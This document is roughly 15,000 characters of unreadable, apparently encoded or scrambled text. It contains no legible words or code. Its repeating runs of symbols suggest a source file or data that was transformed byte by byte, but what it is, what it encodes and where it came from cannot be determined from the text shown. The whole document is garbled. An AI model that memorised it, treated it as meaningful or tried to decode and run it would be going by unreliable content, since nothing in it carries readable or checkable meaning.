^EZ]UD0DMSMMMME\U]@U]DDMMI		2	P=%=2$#92 ,5B=%=2$#92 ,5VI	U
X[2PI		2	F\\VgMMI*!"/,!>6]]
X_EYZYD0MMPMMI^_6]]
X_EZ]UD0VgMMI2^T^UY\^6]]
X_EZ\]D0MMMMPMMI^_6]]
X_EZ\]D0VggggMMMMMMMgMMMMMMI*!"/,!>6T2_\_\EYZYD0MMPMMMOOVgggMMMI2^T^UY\^6]]
X_EZ\\D0MMPMMOOVgMU2_T
Z
ET2_\_\E^TTDAMMOOAMMMM2[
^EZ\_DDVgMggMMggggMI	Z\MPMMMEI^^U6[_
 EZ\^D0DMMKKMMMMM2[
^EZ]\DEI^^U62[
^EZ\YD0DMMRMMI^^U6]]
X_EZ\XD0MMMMWMMMMMMEDVgMMIUUUY[MMMPMEgMM2[
^EZ\[DMMPSMMMMM2[
^EZ\[DAg]]
X_EZ\ZDMMMMPSMM]]
X_EZ\UDAgMMMMMM]]
X_EZ\TDMMPSMMMM[_
 EZ_]DAgMMMMM[_
 EZ_\DMPSMMM]]
X_EZ__DAggMMMM]]
X_EZ_^DMMPSMM2[
^EZ_YDAgMMM]]
X_EZ_XDMMMMMPSMM]]
X_EZ_[DAg[_
 EZ_ZDMMPSMM[_
 EZ_UDAg2[
^EZ_TDMPSM]]
X_EZ^]DAgMDVgMMMMMEIUUUY[MMMMMMIU]	\Z
MMPSMI][\_ZYDMMgMMMEEI	Z\6IU]	\Z
0DMMKKMMMMT2_\_\EZ]_DEI	Z\6IU]	\Z
0DMMMKKM[_
 EZ]TDEI	Z\6IU]	\Z
0DMMSMME\^F^ZDDMMgMMMMI2^T^UY\^6I][\_ZY0MMMMMMPMMI	Z\6IU]	\Z
0VggMMMMggMMMMMgMMMMMMMMMEEI^^U62[
^EX]YD0DMMKKMMMM2[
^EZ^\DEI^^U6T2_\_\EX]YD0DDMMgMMMMI
	X
 	MPMMMMMEDMI^^U6[_
 EX]YD0VgMMMMMMMEI
	X
 	MMSPMME_\TFU\DMMMKKMI
	X
 	MMMMMQPMMEU[^\_FUUDDMMI2^T^UY\^62[
^EX]YD0MMPMMMMMI
	X
 	VggggMMMMgMMMMEEI^^U6[_
 EZ^_D0DMMMMKKM[_
 EZ^^DEI^^U6]]
X_EZ^_D0DDMgMMMMI2MMMMMPMMEDMI^^U62[
^EZ^_D0VgBBMMM	ggMMMMMEI2MSPMMMME]F]^\DMMMMKKMMMMMI2MQPMEU[^UZF\^DDMI2^T^UY\^6T2_\_\EZ^_D0MMPMI2VggggMMMMMggMMMMMMME EI2^T^UY\^DDMMg	2E[_
 EXU[DDVgMM	2ET2_\_\EZ^YDDVggMMM	2E2[
^EZ^XDAMM2[
^EXXYDEDDVg	2ET2_\_\EZ^[DDVgMMM[Y\EDVggMM 
X]2^Y2Y^EDVgMVggMgMI\
YMMMPM\ TXT
[[\
ET2_\_\EZ^ZDAMMMDVgMMME2[
^EZ^UDEI\
YDDMMgI2^T^UY\^MMPM]]
X_EY]^DEI\
YAMMMMI2^T^UY\^DVgMMMMggggMgMMMMET2_\_\E[X\DE]]
X_EYT_DDDMMgBBM:	=M[C_M
WM	
M@ggMI	_ ZMMMMMPMM22\2\\EDVgMMEEI2^T^UY\^6T2_\_\EX]YD0DMMKKMMEDMMMMI2^T^UY\^6[_
 EX]YD0MMMMSPMEYT\@\T\DMKKMEDMMMMMI2^T^UY\^6]]
X_EX]YD0MQPMMEYXT]ZFY]YT^DDMMMI	_ ZMMMPMEDMMMMI2^T^UY\^6T2_\_\EX]YD0Vg2EZYU_YTUEDAMMMI2^T^UY\^AMMMI	_ ZDVgMMgMMMgg \XU]]ET2_\_\EZ^TDAMI2^T^UY\^AMMMMM]]
X_EZY]DDVgMMMMMEEI2^T^UY\^6]]
X_EZ^_D0DMMKKMMT2_\_\EZY\DE2[
^EZY_DDMMMMMKKMMT2_\_\EZY\DE2[
^EZY^DDMMKKMMMM]]
X_EZY\DET2_\_\EY_^DDDMMgMI \\]MMMMPM2
2		2E[ZX	EDDVgMMMEI \\]MMMMKKMMEDMMI \\]@SMLPPMMMMMMEDMMMMMI2^T^UY\^6T2_\_\EZ^_D0DMMgMMMMMM22		2E[ZX	EDDVg2	2E]]
X_EXXYDEDMMMMFMMMMM]]
X_EY_XDEE_\Y3_^YDAMMMMMME_U_F\UDDAMMMMMT2_\_\EZYYDAMM[ZX	EDDVgMMgggggMM	2ET2_\_\EZYXDAMM[_
 EXXYDEDDVgM	2E]]
X_EXU[DDVgMM	2E[_
 EZY[DDVgM	2E]]
X_EZ^[DDVgM[Y\EDVgMM 
X]2^Y2Y^EDVggggMMgMEI^T
TZUDMMMggMZT_EDVgggMgMMMMMME9MMI

ZDMMMgMMMMM]Y\
\[ZE2[
^E[XTDAMMMI

ZDVgMMMMME(MI

ZDMgMMMMMMMMMMMgM^U^\
TE[_
 EY_YDDVgMMggggMgMMMgMMMMMMMY]Z\
EIYT _AMMMMMMI]UMMPMMMOOAMIXXMMPMMMMMDgMMgMMMMELTZ\]E[_
 EY_YDDDMVggMMMMgMMMMgMI]\222	2]X^MPM-2[
^E^U[DEIYT _AMDVggggMMMME[_
 EZ]_DEI]\222	2]X^DMMMKKMM2[
^EZ]TDEI]\222	2]X^DMMMSMMME\]YUXX]F_[DDMMMMMI]\222	2]X^MMMMPMM2
	

EI]\222	2]X^DVgMMMMMMMMMMMELMI]\222	2]X^MMMMMMMMM[_
 EZ]TDEI]\222	2]X^DMQME]\	F]ZDMMMM]]
X_EX[UDEI]\222	2]X^AMMM[_
 EZYZDDMMMLPPMM]DMMgMMVgMgMMMMMELM]TX^EI]\222	2]X^DDMgMM]Y\
\[ZET2_\_\EZYUDAM]]
X_EZYTDDVgVggMMMMME]]
X_EZZDET2_\_\E_\_DAM[_
 EZX]DEI]\222	2]X^AMM]AMMMME]\	F]X^DDAMMIZ][DDMMgggMMEI]UMMMMLPPMMOOMMMKKMI]UMMLPPMMMMIZ][6\0DMgBBM:=M+M>M(	
WM M 
@	gggggM]Y\
\[ZE[_
 EZYUDAMM]]
X_EZX\DDVgMVgMMMMgI]UMMMMMPMMMIZ][6\0VggggMMMMMMg]Y\
\[ZE2[
^EZYUDAMMM2[
^EZX_DDVgMMVggggMMMMMMMgMMMELIXXMMMKKMMMMM2 EI]UAMMT2 _U_ EDDMQPMMMMMM]DMgVgMMMMMMMMgMIUUT]]\2MMPMM] UX_^^EDVgMMMMELIUUT]]\2MMMMMM]]
X_EZ]TDEIUUT]]\2DMMMMQMMETUFY]_DDMgMM]Y\
\[ZET2_\_\EZYUDAMT2_\_\EZX^DDVgMMVIX^]P=%=2 ,'"?2;(?>$"#VIUY UXPIX^]GXVggggMMMMMMMgI^ZZ]MMMPM
2E2[
^E\U_DDVgMMMMME2[
^EZ]_DEI^ZZ]DMMKKMMT2_\_\EX[UDEI^ZZ]AM2[
^EZXYDEI]\222	2]X^DMMMMMMCMMJJDMMMMPPPMMMM]DMMMMggMIYZ 	MMMMMPMMMMEDMT2_\_\EZX]DEI^ZZ]AMMMM]]
X_EX[UDEI^ZZ]AMMMMJJDMMFMMM\DVgMMME2[
^EXXYDEDM@MIYZ 	MQMMMMMMEU[^]_FTUDDMMMMgMMMMVgMgMMMMMgMMMI T MMMPMM2[
^E\T_DETXXEDDMCMMMMM]]
X_E\U]DMMMCMM]]
X_EZXXDEI]\222	2]X^DVgggMMMMME-T2_\_\EX[^DEI T DDMggI	XMMPMMMMM-EDMMT2_\_\EZTDEI T DVgMMMEI	XMMMMKKMM]]
X_EXXYDEDMM@MI	XMMQMMME]Z		UF]	^UDDMgMVgg-2[
^EZX[DEI T DVggMMMMMMMEI T AMI	XDVgMMMMMIZ^Z[MMMMPMMMVgME[_
 EZY\DE[_
 EY^]DDMMMMMMKKMMMT2_\_\EZXZDE2[
^EZXUDDDMMMMMggggI2
^X	Y^MMMPM]]
X_EY^]DE 2EJBJDAME[_
 E^\]DMMPSMMME[Z3ZXDAMM2[
^EZXTDMPSM_AM]]
X_EZ[]DMMPSMMDDVgMELMET2_\_\EZ[\DE[_
 E^\^DDMMMKKMM22EI2
^X	Y^DDDMMgIZ^Z[MMPMMEDM2 222	EI2
^X	Y^DMSPMEYZTF_\DVgMMgBBM-MggggMggggIZ_[_MMMPMVgMMMME2[
^EZ[_DET2_\_\EZ[^DDDMMgMMMMMMMI
\ ^XMMMMMMPM
2ET2_\_\E_\YDAMMEDDVgMIZ_[_MPMM[_
 EZ[YDEI
\ ^XDMMMMMKKMM2[
^E\UZDE\2[_U2EDAMMI
\ ^XAMMMDVgMMgBBM	MMgg    ^U]ETXXEDAME\TFY]\DDVggMMMMMMMMELMYY2T  ^\ETXXEDAMMMMUT_[_YEI]\222	2]X^DDDMMgBGM@M	MGBggMM]Y\
\[ZE2[
^EZ[XDAMMMM2[
^EZ[[DDVgMMVgMMMgMYU	XT]2ETXXEDDVgMMM\X[_2	ETXXEDDVgMMMMMME[_
 EZ[_DET2_\_\EZ[ZDDDM-2E2[
^EZ[UDAMM\AMMME_UUF\_DDVggggMMELMMMMIZ^Z[MKKMM2[
^EZ[_DET2_\_\EZ[TDDMMMMMMKKMMMMT2_\_\EZ[_DET2_\_\EZZ]DDDMMgggI]_]XMMPMMM@\VgMMMMMMEI\^XMMMMPMM]VMMI\^XMQM_VMMI\^XFFDMMMgggMMI]YZ		MMPMMM2[
^EZZ\DE 2ET2_\_\EZZ_DMCM[_
 EZZ^DEETTTTZF^DAMMMMMME\_UY^ZFUZ\X[_DDDAMME[_
 EZZYDMMMPSMME]ZF]\DAMT2_\_\EZXTDMPSM_AMMM]]
X_EZ[]DMMMMPSMMDDVgggMMME2[
^EZ[_DET2_\_\E^\^DDMMMMKKM22EI]YZ		DDMMMgMMMMMMMEI\^XMMPPPMMMMM]MMMMKKMM]]
X_EZ[_DE[_
 EZZXDDDMMM2[
^EZZXDE_DVgVgMMgMMMMIU	
\UMMMMMPMEDM2 222	EI]YZ		DVgMMMMMMMMEIU	
\UMMQMME^_F[UDMM]]
X_E\UZDEIU	
\UAMEEYYUFXXDAMMEZFX\^DAMMETTX@YZYDAMMMMMET[[@YYYDAMMMMMME[^Y@\\\DAMMEX\]F\YDAMEX\YF\_DAME]\^F]	^DDAMMDDMMggggMMMMMMEI\^XMMPPPM]MMKKMMM2[
^EZ[_DET2_\_\EZZ[DDDMMM]]
X_EZZZDE_DVgVggMMI]_]XMPMMMIU	
\UVgMMMMVgMMMggggMMEI]_]XMMMMPPPMM@\DMMMI]_]XMMPMEYZ\F_TDVMgMMEI]_]XMSPMMME\ZYF^_[DDMMgMI[\] 	MMMMMPMMMMMYY2T  ^\ETXXEDAMUT_[_YEIUUT]]\2DDVggggMMMMMMMMMELI[\] 	DMMI[\] 	MMPMMYY2T  ^\ETXXEDAMMMMIUUT]]\2DVgM	2E]]
X_E\U_DAM[_
 EZXXDEI]\222	2]X^DMMMMMCMMJJMMMMCMMT2_\_\EXXYDEDAMT2_\_\EZY]DDVgggMMMMMMMELI[\] 	DMMgggMMM]Y\
\[ZE2[
^EZ[XDAMM[_
 EZZUDMMMCMI]_]XDVIZU[ZXPZUUXVI\	[\2PIZU[ZXH\[VgMMMMVgMMMMMgMMM\X[_2	ETXXEDDVggMYU	XT]2ETXXEDDVgggMMM] UX_^^EDVggggM[^22TEDVgI[XT2MMMMPMMMM]]
X_E[^UDETXXEDAM2[
^EZZTDDVgMMMMMEE[_
 E\T_DETXXEDDAMM	2	TY_
TEDDMMMMMIYYT DMMMMg-T2_\_\EZX[DEIYYT MCMT2_\_\E\T[DMMCMI[XT2DVgg-[_
 EZX[DEIYYT MMCMMM[_
 E\ZTDMMCMMMI[XT2DVgggMMMMgMMEIZ_[_MMKKMLYYU2  2\[EDMKKMM]]
X_EZ[_DE]]
X_E^[UDDDMMgMI^Y
T2YMMPMMM
2E2[
^EZU]DAMMMEDDVgMMMMMMMET2_\_\EZ[YDEI^Y
T2YDMKKMMMMML[_
 E\UZDE\2[_U2EDAMMMMI^Y
T2YAMMDDMMMMMgMMMMI^Y
T2Y60MMPMM\2[_U2EDVg-	2E[_
 EZU\DAMMMMI^Y
T2YDVggggMgMI*!"/,!>6T2_\_\EZU_D0MPMMMM]VgM 
X]2^Y2Y^EDVg]Y\
\[ZE2[
^EZU^DAMMM]]
X_EZUYDMMMCMI]_]XDVgVgMMggMMMMMggggMMMEI]UMMMMLPPMMMMOODMgMI*!"/,!>6]]
X_E\D0MPMI]UVgMMMM	] Y_ETXXEDAMI]UDVgMMgMMMMMMMMEIXXDMMggMI
[ _	 _2MMMMPMM2[
^E[^UDETXXEDAM]]
X_EZZTDDVgggMMMMMMMMMMMEE2[
^E\T_DETXXEDDAMMMM	2	TY_
TEDDMMMMMMMMMI_\
\
 
DMMgM-[_
 EZX[DEI_\
\
 
MCM]]
X_E\T[DMCMI
[ _	 _2DVgMMMMgMEI
[ _	 _2AMMMMMI_\
\
 
DVggggMMMMggggMMMMMMMU2_T
Z
E[_
 EZUXDAMMI]\222	2]X^AMMM[_
 EZY]DDVg] UX_^^EDVggggMMM[^22TEDVgggMMMMMI*!"/,!>6T2_\_\EZU_D0MMMPMM]Vg 
X]2^Y2Y^EDVgM    ^U]ETXXEDAMMMEUUF_]YDDVgMMMMME\X[_2	ETXXEDDDMMMMMM\\_ ETXXEDDVg	2E]]
X_E_]]DAMMI]UMCMMMMMMJJMCMMMT2_\_\EXXYDEDAM]]
X_EZY]DDVggggMMMMMMME9MMMI

ZDMgMM]Y\
\[ZE2[
^EZU^DAMMMI

ZDVgMMMMMMMMMMME(MMMI

ZDMgMMMMMMMgMMM^U^\
TE]]
X_EY_YDDVggggMMMMgMgMMMMMM	TU]]U2EDgMMgMMMMMMELMMMMMM		E[_
 EYUYDDMMMMMMLM[_
 EZ[_DE]]
X_EZU[DDDMgMMMMMMME]]
X_EZUZDE,/>=,9%MMMMCMMMMT2_\_\EZUUDDDMMMgM2MMMM,/>=,9%MCM2[
^EZUUDVgggggMMMMMMELMMM[_
 EZ[_DE[_
 EZUTDDDMMMMMgMVgMMgMMMMMMgggMMMMIXY
MMMMPMMMM
2
EDVgMMMMMMMMMMELMMM2[
^EZ[YDEIXY
DDMMMMgVgMgMMMMMMIMMMPMMMMMEDVggggMMMMEIXY
MMMI MMMMMPSMIX 2[ DMgMEI MMPPPM\2[_U2EDDMMMgMMVgMMgI6I 0MPMMIX 2[ VggMMMMMIVggggMMMMMM 	\T^[EI	]YYAMMMIX^Y]_DgMMMMMgMMMMMggMMI^MMMMMPMMMMM-[_
 EXYZDEI	]YYAMMAMMMMAM]AME_ZXXY[F_YUZY_DDVMMgMMELMMI^DMMMMgMMMMMMMMMMVgMMMgMMgggMMEIX^Y]_MMMMMMMMIU_ ]DMgMMgMELMT2_\_\EZT]DEIU_ ]DMMMLMMMIU_ ]MM[_
 EZ]TDEIU_ ]DMSMMEY]YTFYZDDMMMMgMMMMMMVgMgMMgMMMMMMMggggMMI__^\\MMMMMPM-2[
^EZZDEIU_ ]AMMMI^DVgMMME9MMIT _[]DMgMM]Y\
\[ZE2[
^EZT\DAMMMMIT _[]DVgMMMMMMMVgMMME(MIT _[]DMMgggMMMVggBBMM@ M	ggMggggMMMEI__^\\DMMMgMMMMMMMMVgMMggMMMMMMVgMMgMMMMgMMM2	\
XEI
2 DgMMMMgMMIX^Y]_MMMPMI*!"/,!>6]]
X_E[T_D0VgMMELMMT2_\_\EZ[YDEIX^Y]_DMMMMM EIX^Y]_DDMgMMMVggMMMMMMMELM		E]]
X_EYUYDDMMMM EI
2 DMMMMMMT2_\_\EX[UDEI
2 AMMT2_\_\E_^TDDMLPPMMMDMMMMgMMMMMVgMMMMggMMgI\X	MMPMMMMM:=2=!8*$#2)$?MMCMMMJBJMMCMMMMMI
2 VgMMMMET2_\_\E\T_DEI
2 DMMPPPMMMMMMJCJDMMgMMMIX^
Z
2\MMMPMMMEI\X	DVgMMMMMgggI 	[TX2YMMPMM[_
 EZT_DEI\X	DVgMMMMMMMMMELM[_
 E\Y^DEI 	[TX2YDMMMMMLM2[
^EZT^DEI 	[TX2YDDMgMMMMMMMVgMgIX^
Z
2\MPMMMMM^XY\^2EI 	[TX2YAMMME]]
X_EZTYDAMM2[
^EX\]DAMMMM[_
 EZTXDAMMMMMT2_\_\EZT[DAM2[
^EZTZDDDVgMMMMgggggMMMMMEIX^
Z
2\MMMMMMMMMMI	]YYDMMgMMMMMELMMT2_\_\EX[^DEI	]YYDDMMgMMVggMMgMMMMMME 	\T^[EI	]YYAMMIX^Y]_DDMMMMMggggMMMMMVggMMMMMMgMMMMMVgMMgM^XY\^2EI 	[TX2YAMMMI[\Z^T[_AMI]UMPMMM]AMMMMMMKI\^X2

2MPMAMMMKIT\MPMMDgMggMMIMMMMMPMMMEDVggMMMEI]UMSME^FXDDMMgMMMMMMMMMMIVgMMgBBM	M	gggMMMMEI\^X2

2MMPPPMDMMMMMMI	UZ^]Z2UP[XF^_VIZ2_UPI	UZ^]Z2U@\VggMI\^X2

2MMMMPMMEDVggMMIT\MMMMMPMM[_
 E[Z\DEDMMMMMFMMMME\FTDVgggMMMMMgggMMMMMMMET2_\_\E[Z\DEDMMMMSMMIT\DMMMMMgMMMMIVgMgMELMMMM]]
X_E\Y^DEI 	[TX2YDDMgMMMMMMIVgMgI2Y_Y	YTYMMPM-2[
^E\Z\DEI 	[TX2YDVgMMMMMMMEI2Y_Y	YTYMMLPPMMMMDMMgMMEEI\^X2

26I2Y_Y	YTY0DDMMgMMMMIVgMMMMgMMI\^X2

26I2Y_Y	YTY0MPMVgggMgI\Z^ 2MMMMPMM\YEI 	[TX2YDVIYT ]XPE]	YF]YUDVI ]X2PIYT ]XH\]VgMMMELM]]
X_EZ[YDEI\Z^ 2DDMI

\	 YP=%=2$#92 ,5B=%=2$#92 ,5VIZX	]PI

\	 YF\ZVgMMMMMMMIVggggMMMMgMMMMMMMMEI\Z^ 2MMMMMMMI
_Z	DMMMMgBBM=>?@YM WMM	gggMMMMME[_
 E[Z\DEDMMSMIT\MMMM[_
 EZTUDEIDMMSPMME_U^F_\ZDDMMMMgMVgMMMMMggggMMI\X	MMMPMMI 	[TX2YMMCMMJBJMMMMMMCMMI
_Z	VggggMMMME-]]
X_EZTTDEI\X	DDMMMgMMMMMVI\^]TP\[^^VI[^\U\\
PI\^]TH^VgMMMgMMME-]]
X_E\Y^DEI\X	DDMMI[__]ZP[_FX]VIT\_PI[__]Z@_TVgMMIMMPMM[_
 EY]^DEIAM^XY\^2EI\X	AMMMI[\Z^T[_AMMI]UMMMMFM\AMI\^X2

2AMIT\DDVgMMMMMMMMMMMME-T2_\_\EX[^DEI\X	DDMMMMMgMI2] MMPMM]]
X_EU]]DEI\X	AME[_
 EU]\DDDVggggMMMMMMI2] MMMMPMT2_\_\EZT]DEI2] DMRMM[_
 EU]_DEI2] DMWMMOOVggggMMMMMMME2[
^E\UZDEI2] AMMI[\Z^T[_AMMMMMMDDMgI60MPMMMMMMI\X	VggggMMMgMgMgBBMMMggMMMMMIVggMMMMMMgMMMMMgMMMM[TUU ZEI
2 DgMgMgggMMMELMMM[_
 EZT]DEI
2 DMMMMMMMMLMMMMI
2 DMMMMgMMMVgggggggMMET2_\_\EU]^DEI
2 AMMM2[
^E_^TDDMMLPPMDMMMMMMgMMMMMMMMVI^XYUPX]FTXVI[\T^ ZZ2PI^XYU@_ZVgggI
2 MPMMT2_\_\E[[_DEI
2 DVgMEI
2 MPPPMMMMM\2[_U2EDDMMgBGMM		@MGBggMMMMMMVggMgMMMMELM]]
X_EZ[_DET2_\_\EU]YDDMMMMMKKMT2_\_\EZUZDE,/>=,9%MCMMMMM2[
^EZUUDDDMMMMgBBM=%=>MMTMM	ggM2MM,/>=,9%MMMMCMM[_
 EU]XDVggMMMMgMMMgMMMMMMME[_
 EU][DE2[
^EU]YDDMMMMKKMM2
2EI
2 DDMgMMMMMMM	2
EEI
2 DAMMMMDVMgMMMgMgI 	[TX2YMMPM		E2[
^EYUYDDMRMMM:=2=!8*$#2)$?MMMMMMCMJBJMMCMMM[_
 EU]ZDEI
2 DMMMMMWMMMOOVgMMMMMMMEI 	[TX2YMMKKMMMT2_\_\EU]UDEI 	[TX2YDMMMMKKMMMMMM2[
^EU]TDEI
2 DMMLPPMMMJCJMKKM[_
 EU\]DEI
2 DDMMgMMMEUZ_TY]^T EI 	[TX2YDDMMMgMMMMMMMVgMggMMgMMMMgggMMME]]
X_EU\\DET2_\_\EU\_DDDMMMMgMMgMMMMMELMMM[_
 EU\\DE]]
X_EU\^DDMMMLMM22E[_
 EU\_DDDMMMgBBM:=M>M!MMggMMMMMMMMMME]]
X_EU\\DE[_
 EU\YDDMMMKKMT2_\_\EU\\DE[_
 EU\XDDDMMMgMIMMMMPMMMM
2EE[_
 EU\[DMMMPSMMMM]]
X_EU\ZDAMMMMM2[
^EU\UDMMPSMMMMM\DDVgMMMMELMM EIDMMKKMMMI6]0@S$)DMgM]]
X_EU\XDEI6]0@S$)DVI 22\^XP=%=2 ,'"?2;(?>$"#VIY
\Y
X PI 22\^XG^VgMMMMMMMMMggggT2_\_\EU\TDE\DVgMMMMgMgMMMMgMMMgMI	^MMMPMM	2
EEI
2 DDVgMMMELMMMMMM22EI	^DDMgMMEDMI	^VgMgMgMMMVgggMMgggMgMMMUZ_TY]^T EI 	[TX2YAMMI]UMMMMMPMM]DggggggMMEI]UMSMME]F]YDDMgMMMVgggMMMMMMMMMELMMMMM]]
X_EU_]DEI 	[TX2YDMMMMMMMMMI 	[TX2YMMPPPMOOMMMMMMMMM2[
^EU]^DEI 	[TX2YAMMM2[
^EU_\DDMMMLPPMMMMDMMMgggMMMMVgMMgI^]
YT^]MPMMM-T2_\_\E\Z\DEI 	[TX2YDVgMMMEI^]
YT^]MPPPMMMMMMMLMMMT2_\_\EU]UDEI^]
YT^]DDMMMgMMVgMgMMMMMI
^TU]MPM		E]]
X_EU__DDMMMMRMMM-2[
^EU_^DE:=2=!8*$#2)$?DMWMMMMVgMMMMMEI
^TU]MPPPMMMEI^]
YT^]MMMMMLPPMMI
^TU]MMMKKMM2[
^EU_YDEI^]
YT^]AMMMMMI
^TU]MMCM)$?(.9"?42>(=,?,9"?DMMLPPMMM]DDMgMMMMMMVgMgI	Z^ \Y	MMMMMPMM-T2_\_\EU_XDEI^]
YT^]DVgMMMMMMMMELM[_
 EZ[YDEI	Z^ \Y	DDMgBGMM	
@	MGBggMMMVgMMMgMMMMMMEI	Z^ \Y	MMMI _Z^DMMMgMMMMMEI _Z^MPPPMJCJMMMMMMMMMI _Z^MMMMMPPPMM2[
^EU_\DDMMMMMI[2	]PUY\VI\_X\PI[2	]H\\VggMMMMVgggMMMI\X	MMPMMI^]
YT^]MMCMME[_
 EU_[DDMMMMCMMI _Z^VggggME-2[
^EZTTDEI\X	DDMg__2EI\X	DVggggMMMVgMMgMMMMMMMMMMMME-[_
 EU]UDEI\X	DDMMgggMMMMUZ_TY]^T EI\X	AMMI]UMMMMMMFMM\DVgMMMMMMMMMgMMMELMM__2EI\X	DDMggg    ^U]EI\X	AMME]^F]\[DDVgMMMM__2EI\X	DVgMMgMMMggMMMMMMELMMMMM-[_
 EU_ZDEI^]
YT^]DDMMMg    ^U]EI^]
YT^]AMMMEU]Z@^\YDDVgMMMM-]]
X_EU_ZDEI^]
YT^]DVggggMMgggMMLMMMMM-[_
 EU_UDEI^]
YT^]DVgMMMMMMgggMgggggMMMMMMMZT_EDgMMMgMMMMgBBM:=M(=WM	@  	MggMMIMMPMMM	TU]]U2EDVgggMMMMMMELM]]
X_EZ[YDEIDDMMMgMMMMMMVgMMMggMIY\	TMPMMMEDVgIZXU		[2MMPMMMVgMMMMMME[_
 EU_TDEIDMMMMMI DMgMgMMMMMMELMMT2_\_\EU^]DEI DDMMMgMVgMMMgMMMgMIY[MPMMMMM2[
^EU\]DEI DVgggMMMMMMMMEIY[MMPPPMMJCJDMMgMMIY[MPMMI VgMgMMMMMMEEIY\	T6IY[0DDMgMVgMMMMMMgMMMgMMMIY\	T6IY[0MPMMMMMMVgMMME2	\
XEI DDMMMggM[TUU ZEI DVgggggMMMMMIZXU		[2MMMPMMMMMMVgMMMMMgBGM		MMGBgggggMgBBM:=M>M9WMMggggMMMMgMME-T2_\_\EU^\DE	2	TY_
TEDDDMMMgggMMMMMI
^]Y_YMMPMMMM\YE	2	TY_
TEDDVgMMMME[_
 EU^_DEI
^]Y_YDDMMMgMIX^Y]_MMPMMMI*!"/,!>62[
^EU^^D0VgMMMMMMMMMEI
^]Y_YMMMMMI
_Z	DMMgMgMMEI
_Z	MPPPMMMM	 U[\EDDMMMMMgggMVggMMMMMgMMMgI	]YYMMMPMMMM	2	TY_
TEDMMCMJBJMMMCMMMMI
_Z	VggMMMMMMMELMMMM-]]
X_EX[^DEI	]YYDMMMMMM2[
^EU]_DET2_\_\EU]]DEI
_Z	AMME]]
X_EU]\DDDDMMMMMLPPMMMM]]
X_EX\]DDMMMgMMVgMgMMMgMME 	\T^[EI	]YYAMMIX^Y]_DDMMgBBM M@@
MM:=M$/=gggggMMM__2EI	]YYDVggggIZXU		[2MMPMMVgMMMMMMMMgggMgMMMggMgMMMMMMMgMIZ_^ZMMMMPMI*!"/,!>6]]
X_EU^YD0VgMME]]
X_EU^_DEIZ_^ZDMMMMMKKMLMMMMM EIZ_^ZDDMMMMgMMMEUUUX
EIZ_^ZDDMMMgMIZXU		[2MMMPMMMVgMMMgggMMMMMME9MMI

ZDMMMMgMMMM]Y\
\[ZE2[
^EU^XDAMMMMMI

ZDVggggMMMMMMMME(MMMI

ZDMMgMMMMMgMgMMMMgMM
	U2^EDggMMMgI]]_MMMMMPMMMMEDMMMMM
2ET2_\_\EU^[DAMMM]DVgggMMMMEE2[
^EXXYDEDMMMM@MMI]]_DMSPMMMMET\^F_[UZDDMgMMMMMM	2E[_
 EU^[DAMMM[_
 EXXYDEDDVgMIX_YX\MPMMEEX_ \EDAME]]
X_EU^ZDDDDVgMI ^
TX	MPMM[_
 EU\\DET2_\_\E\\YDDMMMMMRMM2[
^E\\YDEDMMMWMMMMOOVgMMMMEI ^
TX	MMLPPMMOOMMMKKMI ^
TX	MMMMLPPMMMX_ \EDDMMMIX_YX\60MMMMPMMMEI ^
TX	AMMMMMET2_\_\EU^UDAM2[
^EU^TDDDVgMMEIX_YX\MMMI

Y2DMMgMMMMMMMMEI

Y26\0MMMMMMIZ_XT
U		DMMMMgMMMMIYUMMPMT2_\_\EU\\DE]]
X_E[^XDDMMMMRM-T2_\_\E[^XDEI

Y26]0MCMMMJBJMCMMMMMIZ_XT
U		MMMCMMMJGJDMMWMVgMMMMMMMMEL[_
 EUY]DEIYUDDMMMMVgMMMMMMMMEIYUMMMMMMIYT	 DMMgMMEL-T2_\_\EX[^DEIYT	 DDMMMMVgI^Y
U[MMPMM-[_
 EUY\DEIYT	 DVgggMEI^Y
U[MLPPMMMMMMKKMMMMME]]
X_EXXYDEDMM@MMI^Y
U[DMMMMMMSME__X[F\^YYDDMMM__2EIYT	 DVgMMMMMMMgMMMgggMMMMMI
\ ^XMMPMMM
2E2[
^EZU\DAMMEDDVgMMMMMMMMELT2_\_\EUY]DEI
\ ^XDDMMMMMI
\ ^XMMMMMMPMEDVgMMI_2]\Z][MMMPMM2[
^E[^UDETXXEDAMM2[
^EUY_DDVI
	^
Z	XP[\GTVI X2U^PI
	^
Z	X@TVgMI2	MPMME		E[_
 E^]]DDMMRM:=2."#9(#92)$?MWMM,/>=,9%MCMMM]]
X_EUY^DDMMCMMM[_
 EUYYDVgMMME]]
X_EUYXDE2[
^E[^XDDMRMEDMMMM-[_
 EUY[DEI2	MMMCMMMM2[
^EYU[DDMWMMMMMEDMMMMMMIT_ DMMMMgME2[
^E[^UDET2_\_\EU\]DEIT_ DDMMMMPPPMMMMI_2]\Z][DMMMVgI\]MMPMM2[
^E[^UDE[_
 EUYZDEIT_ DDMMCMMMJBJMMCM[_
 E[^UDEIT_ DVgMMMMMMMME2[
^EUYUDEI\]AMI
\ ^XAMDDMMMMMVgMMMEL-]]
X_E\UXDEIT_ DDMVgMMI2 U^
MMMPMMMMM-2[
^E_\]DEIT_ DVggggMMMMMELI2 U^
MMMMI2 U^
MMMMMSMME]U	_TF]\Z_Y	ZDDMVgMMMIU	
\UMPMM-]]
X_EXYZDEIT_ DVgMMEL2[
^EU^]DEIU	
\UDMMMMMT2_\_\EU_YDEIU	
\UAMMMM2[
^EUYTDDMMMMMPPPMDMMMVgMI2 Y^MPMMT2_\_\EYT]DE[_
 EUX]DAMMMMOOAMIU	
\UDVgMEL]]
X_EUX\DEI2 Y^DMMMI2 Y^MMMMPPPMMMMIU	
\UMMML]TX^EI2 Y^DDMMMMVgMMYY2T  ^\EIT_ AMMMMMI2 Y^DVgMMMMME2[
^EUX_DE[_
 EUX^DDDM-2	EIT_ AMMMMDVgMMMgggMEI
\ ^XAMMI_2]\Z][AMI2	AMMMIT_ AMMI\]AMMI2 U^
AMIU	
\UAMMMI2 Y^DVggggMMMMMMMXZ
]\ZEDVgMgMMMggggMIZ_ ZMMMMPMMI*!"/,!>6[_
 EU^^D0VgMMIZ_^ZMMPMMI*!"/,!>6]]
X_EU^YD0VggggMMMMMI Y[X MPMMMMMET2_\_\EUY]DEIZ_ ZDMKKMMLMM EIZ_ ZDDMMMME[_
 EUY]DEIZ_^ZDMMKKMMLMM EIZ_^ZDDVgMMMELMI Y[X DMMgMMMVgMMMMMMMMggggMMMMMgMMI
ZT2
MMMMPMMMEDMMM
2E]]
X_EUXYDAMM]DVgMMMMMEE2[
^EXXYDEDMMM@MMMMMI
ZT2
DMQMME[_^X@_[^XDDMMMMggggMMVgMMggggMZT_EDVgM	2E2[
